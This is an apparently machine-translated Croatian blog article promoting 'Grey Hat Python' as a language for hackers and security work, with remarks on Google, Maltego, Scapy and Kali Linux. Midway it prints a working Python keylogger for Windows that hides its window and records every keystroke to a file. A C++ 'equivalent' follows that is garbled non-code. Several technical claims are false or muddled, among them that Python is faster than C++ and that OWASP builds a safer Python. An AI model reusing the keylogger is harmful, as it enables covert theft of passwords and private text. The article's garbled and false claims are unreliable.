Grey Hat Python - Dakle, prije dvije godine istraživao sam programske jezike, počeo sam čitati C, C ++, Assembly, Python i Ruby. Htio sam postati stručnjak za cyber sigurnost. Dakle, počeo sam učiti koliko mogu. Započeo s osnovama C, C ++ i C #, a nakon učenja i sastavljanja puno programa i virusa, konačno sam počeo učiti Kali Linux. Za one koji ne znaju što je Kali Linux, to je operativni sustav za penetracijsko testiranje. Dakle, nastavio sam sa svojim studijama i vidio sam da je većina programa, virusa i trojanaca sastavljena u Pythonu, a njihova baza je Ruby.

Dakle, zasad sam prekinuo studije i počeo učiti Python ili biti precizniji Gray Hat Python i tadaa… Bilo je izuzetno lako u usporedbi s C, C # ili bilo kojim drugim jezikom koji sam naučio. Napokon sam saznao zašto je Python jezik koji se najviše koristi i kako je postao poznat.
Dakle, danas bih raspravljao o tome kako se Python pretvorio u Gray Hat Python i zašto se toliko opsežno koristi da ga čak i Google i YouTube koriste u svojoj bazi podataka kako bi dali što preciznije rezultate pretraživanja.

Za početak, Python je programski jezik visoke razine, što znači da su njegove sintakse izuzetno lako pročitati, čak i za početnike. Ako niste novi u programiranju, to bi bio jezik na kojem bih vam predlagao da započnete. Dopustite mi da vam dam primjer:

Ovako to izgleda na C: -

#include

int main()
(
printf("Hello world\n");
return 0;
)

Ovako to izgleda na Javi: -

class HelloWorld
(
public static void main (String args())
(
System.out.println ("Hello World");
)
)


A, tako to izgleda u Pythonu (v2.7)

print "Hello World"

Jednostavan? Da je. Dakle, Python je bio ne samo jednostavan za pisanje i razumijevanje, već i vrlo kompaktan. Pa se možda pitate kako je to dovelo do Grey Hat Pythona?

Preporučeni tečajevi

  • Obuka za usmjeravanje IP-a
  • Hakerski tečaj
  • Kompletna RMAN obuka
  • Obuka programiranja Pythona

Python vs Gray Hat Python

Dakle, što je točno Gray Hat Python? Zašto se toliko razlikuje od našeg normalnog Pythona? Stvar je u tome što Grey Hat Python nije ništa drugo nego programi koji su u Python-u napisali hakeri, testeri za mrežni stres i obrnuti inženjeri za stvaranje ili pucanje programa. No, izraz Grey Hat koristi se jer nije baš koristan ili korisnički softver. Koristi se za osiguranje ili izradu sigurnosnog softvera.

Može se lako koristiti ili za testiranje ograničenja sigurnog okruženja ili za probijanje u sigurno okruženje. To znači Grey Hat. A to je daleko lakše učiniti na Pythonu, nego raditi to na C, C ++ ili javi. Tako i ime Grey Hat Python. Nekoliko se primjera mogu sjetiti:

• pisanje zapisnika ključeva (za hakere i pentestere)
• Pisanje skripti sigurnosnih ljuska (za mrežne administratore)
• Pisanje automatiziranog IDS-a (Sustav za otkrivanje provale prema sigurnosnim inženjerima)

Dakle, sada znate zašto i kako je Gray Hat Python koristan. Da bih ovo razradio, dopustite da vam dam nekoliko detaljnih primjera.
Možda ste čuli za Google App Engine. Google App Engine prvobitno je dizajniran u Pythonu i prije no što je prenosio. Google App pravi je primjer programa napisanog na Pythonu, jer omogućava izradu web aplikacija koristeći svoju bogatu kolekciju biblioteka, alata i okvira.

Jeste li se ikad zapitali zašto je tako lako pretraživati ​​nešto u Googleu? Većinu vremena dobivate rezultate pretraživanja koji su 80% točni. To je zato što je Python izuzetno fleksibilan, radi velikom brzinom, a baze podataka su mnogo kompaktnije iako pohranjuje 'n' broj informacija. Python je toliko proširiv da ga čak i YouTube koristi u svrhe kao što su gledanje videa, kontrola predložaka, upravljanje videom, pristup kanonskim podacima i još mnogo toga.

Google ima svoje indekse i pajke koji prikupljaju podatke čim se učitaju na web, bez obzira na to gdje su i koliko sigurni. Jednostavno je potrebno pravilno nadahnuće, vrijeme i znanje za prikupljanje ovih podataka.

Google pretraživanja ranije su se temeljila na Pythonu, što je kasnije promijenilo u C ++ radi optimizacije brzine jer Google pretraživači indeksiraju mnogo stranica u sekundi i svakom od njih treba nekoliko minuta da se uspješno indeksira. Python, trenutno je puno brži od C ++, ali to nije bio isti slučaj prije nekoliko desetljeća.

Bio je poznati citat koji je citirao Google: -
"Python gdje možemo, C ++ tamo gdje moramo."

Stoga se možda pitate kako se to može koristiti za hakiranje, ubijanje penzija i mrežnu sigurnost. Molim da se razlikujem. Ako biste mogli stvoriti program koji je 70% -80% precizan u davanju efikasnih rezultata pretraživanja, onda vjerojatno možete napraviti aplikaciju koja može povezati web stranice, pametno pretraživati ​​i graditi profil osobe koju radije mogu koristiti pojedinačne crne kape u zlonamjerne svrhe. Ostavite pojedince po strani, onaj ako je dovoljno pametan, lako može sastaviti aplikaciju za izgradnju profila tvrtke, čitavog stabla od korijena do onoga što možete pomisliti …

Prikupljanje informacija putem Maltega

Možda mislite da malo pretjerujem. Ne, nisam!

Zamislite primjere poput Maltega. Maltego je softver ili ga mogu bolje izraziti kao forenzičku aplikaciju otvorenog koda, koja je izgrađena za prikupljanje informacija i stvaranje profila ljudi, tvrtki i drugih korporativnih agencija.

Treba samo unijeti odgovarajuće podatke u aplikaciju, a ostatak stvari poput povezivanja e-pošte, ljudi, grupe ljudi, čak i određivanje internetske infrastrukture kao što su Domene, DNS imena, Netblocks i IP adrese mogu se povezati i međusobno povezati pomoću ove inteligencije otvorenog koda,

Za više informacija posjetite kako biste saznali što je Maltego?

Dakle, ako pristup „tajnim informacijama“ određuje vaš uspjeh, tada vam Maltego može pomoći otkriti ga. Maltego je djelomično napisan na Python-u pa se koristi i Java što je opet odličan jezik.

Toliko da citiram sigurnost Googlea. Da budemo precizniji, Google je najmanji način na koji možete ostati anonimni na webu, nije važno upotrebljavate li anonimno ili www.duckduckgo.com od kroma. Jer, na kraju se sve ažurira na webu. Stvar je ovdje u tome što se ne radi o neranjivosti, već o apsolutnoj ranjivosti. Ne može se potpuno izbrisati s interneta. Ali sigurno se može pokušati zadržati što manje informacija na Internetu.

Python nije samo jezik, to je skriptni jezik. Jezici skripta omogućuju vam pisanje, mijenjanje vlastitih alata kada vam treba nešto više prilagođenog. Ti mrežni sigurnosni alati uvelike ovise o skriptiranju jezika za proširivost. Za primjer uzmimo Scapy.

Scapy je čisto napisan na Pythonu. To je moćan interaktivni alat za manipulaciju paketima. Može samostalno generirati lažne pakete, skenirati mreže te čak i njušiti pakete na mreži.

Pronađite detaljne informacije o tome što je Scapy?

Sada su to složeni programi koje su napisali napredni programeri. Da vidimo kako je jednostavno napisati program na Pythonu koji ljudi mogu razumjeti vrlo dobro.

Ovo je keylogger napisan na Python-u:

#!/usr/bin/Python
import pyHook
import Pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console. GetConsoleWindow() #go to script window
win32gui.ShowWindow (window, 0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a") # (open log_file in append mode)
char = chr (event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
Pythoncom.PumpMessages() #get input

Dakle, ovo je daleko više nego lako ako mene pitate. Upravo sam dodao module pyhook, Pythoncom, win32gui i win32console koje lako možete preuzeti sa web stranice sourceforge, a komentare sam spomenuo pomoću hash-tag-a. Ali ako moram napisati isti program na C ++, da vidimo koliko to može biti teško.

Ovo je program napisan na C ++: -

 #include #include #include #include int main(int argc, char ** agrv)( using namepace std; /*Easier*/ char std::vector input_STRUCT = ("S", "T", "O"); char std::vector input_STRUCT_1 = ("P", ""); char std::vector input_STRUCT_2 = ("L", "O", "O", "K", "I", "N", "G"); char std::vector input_STRUCT_3 = ("", "F", "O", "R"); char std::vector input_STRUCT_4 = ("M", "A", "L", "W"); char std::vector input_STRUCT_5 = ("A", "R", "E"); ostream os("C:\users\keylogger.txt"); int i; for( i = 0; i <=2; i++)( os << input_STRUCT(i); for(;i <= 1000000 ;i++)( ) ) for( i=0; i<=1;i++)( os << input_STRING_1(i); for(;i <= 1000000 ;i++)( ) ) for(i=0; i<=6; i++) ( os << input_STRING_2 (i); for(; i <= 1000000 ; i++)( ) for(i=0; i<=3;i++)( os << input_STRING_3(i); for(; i <= 1000000 ;i++)( ) ) for(i=0; i<=3; i++)( os << input_STRING_4(i); for(;i <= 1000000 ; i++)( ) ) for(i=0; i<=2; i++)( os << input_STRING_5(i); for(;i <= 1000000 ; i++)( ) ) os.close(); istream is (" C:\users\keylogger.txt "); cout << is; return 0; ) 

Dakle, ovo je prilično veliko u odnosu na Python. A ako govorimo o učinkovitosti, Python se može lako sastaviti u izvršnu datoteku bez ikakvog napora koristeći py2exe softver. Dok ako govorim o C ++, iskreno govoreći, ovaj je kod šala. Da biste napisali ispravni zapisnik, potrebno je napisati DLL koji implementira WH_KEYBOARD kuku. Osim toga, početniku je to lako razumljivo.

Hakiranje s otvorenim kodom

Sada to vodi računa o hakerima Black Hat, koji su precizniji ljudi koji namjeravaju uništiti, manipulirati podacima za svoje potrebe. Razgovarajući s gledišta o sigurnosti, Python je koristan i za hakere na White Hat-u koji namjeravaju spasiti društvo od napada zlonamjernih hakera. Ako želite razviti karijeru ili barem želite naučiti Python za sigurnosna istraživanja, onda se sigurno možete duboko uvesti s OWASP, BRO ili Quick NIX Secure Script.

OWASP je Projekt sigurnosti web aplikacija. Cilj OWASP-a je stvaranje sigurnije verzije Pythona koja stručnjacima za sigurnost i programerima olakšava pisanje softvera manje sklonog napadima hakera. Povezana je s Black-Box analizom, prepoznavanjem i rješavanjem problema vezanih uz sigurnost koji mogu utjecati na Pythonov interaktivni tumač.

BRO je mrežni program praćenja sigurnosti i prometa, dok se Quick NIX koristi u svrhu učvršćivanja i zaštite vlasništva nad datotekama.

Budući da govorimo o sigurnosti, razgovarajmo o operativnom sustavu koji se djelomično temelji na Pythonu. Python odlično funkcionira s UNIX-om, LINUX-om i Debian-om. Jedan od najpoznatijih operativnih sustava bio je Backtrack 5. Objavljene su različite verzije. Posebno je dizajniran za PenTesting. Kasnije su ljudi u Ofanzivnoj sigurnosti mislili da je Backtrack potreban za ponovno pokretanje sustava, jer većina alata ili ne radi ispravno ili nije podržana.

Kasnije su izdali Kali Linux koji se u potpunosti temeljio na Debianu. A većina njegova okvira nalazi se ili u Rubyju ili Pythonu. Ruby je također sjajan scenaristički jezik. Ali bilo koji put bih više volio Python zbog toga, razlog što Python ima raznovrsniju zajednicu s Linuxom i njegovu direktniju i jednostavniju pogrešku. Iako Ruby ima mnoštvo značajki i brzo se prilagođava okolnom okruženju, može biti teško uklanjanje pogrešaka, teško za čitanje i sofisticiraniji je od Pythona.

Najbolji primjer bi bio usporedba Applea i Linuxa ili Usporedba iphone-a i Androida. Apple je bogat resursima i izuzetno je gladak te je pristraniji početnicima. Dok je Linux / Android korisniji, pomalo lagan i ponekad može predstavljati glavobolju ako ne znate kako ga konfigurirati ili održavati.

Postoji čak i knjiga koja se temelji na sjeckanju Pythonova sivog šešira Justina Seitza. Bavi se posebno automatiziranjem zamornih zadataka obrnutog inženjeringa i sigurnosti, dizajniranjem vlastitog programa za uklanjanje pogrešaka, knjižnica i DLL, njušanjem sigurnog prometa tijekom šifrirane sesije te korištenjem programa za uklanjanje imuniteta, Sulleyja i mnogih drugih. To je sjajna knjiga, nije važno jeste li početnik ili ste stručnjak, uvijek ćete naučiti neku ili drugu stvar svaki put kada je pročitate.

Zaključak

Dakle, ako ste početnik, Python bi bio pravi izbor za vas sa svojim prvim jezikom testiranja sigurnosti programiranja.

Sjetite se samo jedne stvari na kraju, Gray Hat Python nije samo jezik, to je način na koji možete pravilno i brzo raditi stvari.

Prvi izvor slike: pixabay.com

Povezani članci:-

Evo nekoliko članaka koji će vam pomoći da saznate više detalja o sivom šeširu Python pa samo prođite vezu.

  1. Prednosti alata za cyber sigurnost Morate biti svjesni
  2. Karijere u Pythonu
  3. 25 najboljih pitanja i odgovora za nevjerojatan Python intervju
  4. Koje su prednosti i ograničenja upotrebe Pythona?
  5. Python vs Node.js
  6. Vodič za pitanja o intervjuu za cyber sigurnost
  7. Različite vrste alata za provjeru sigurnosti

Kategorija: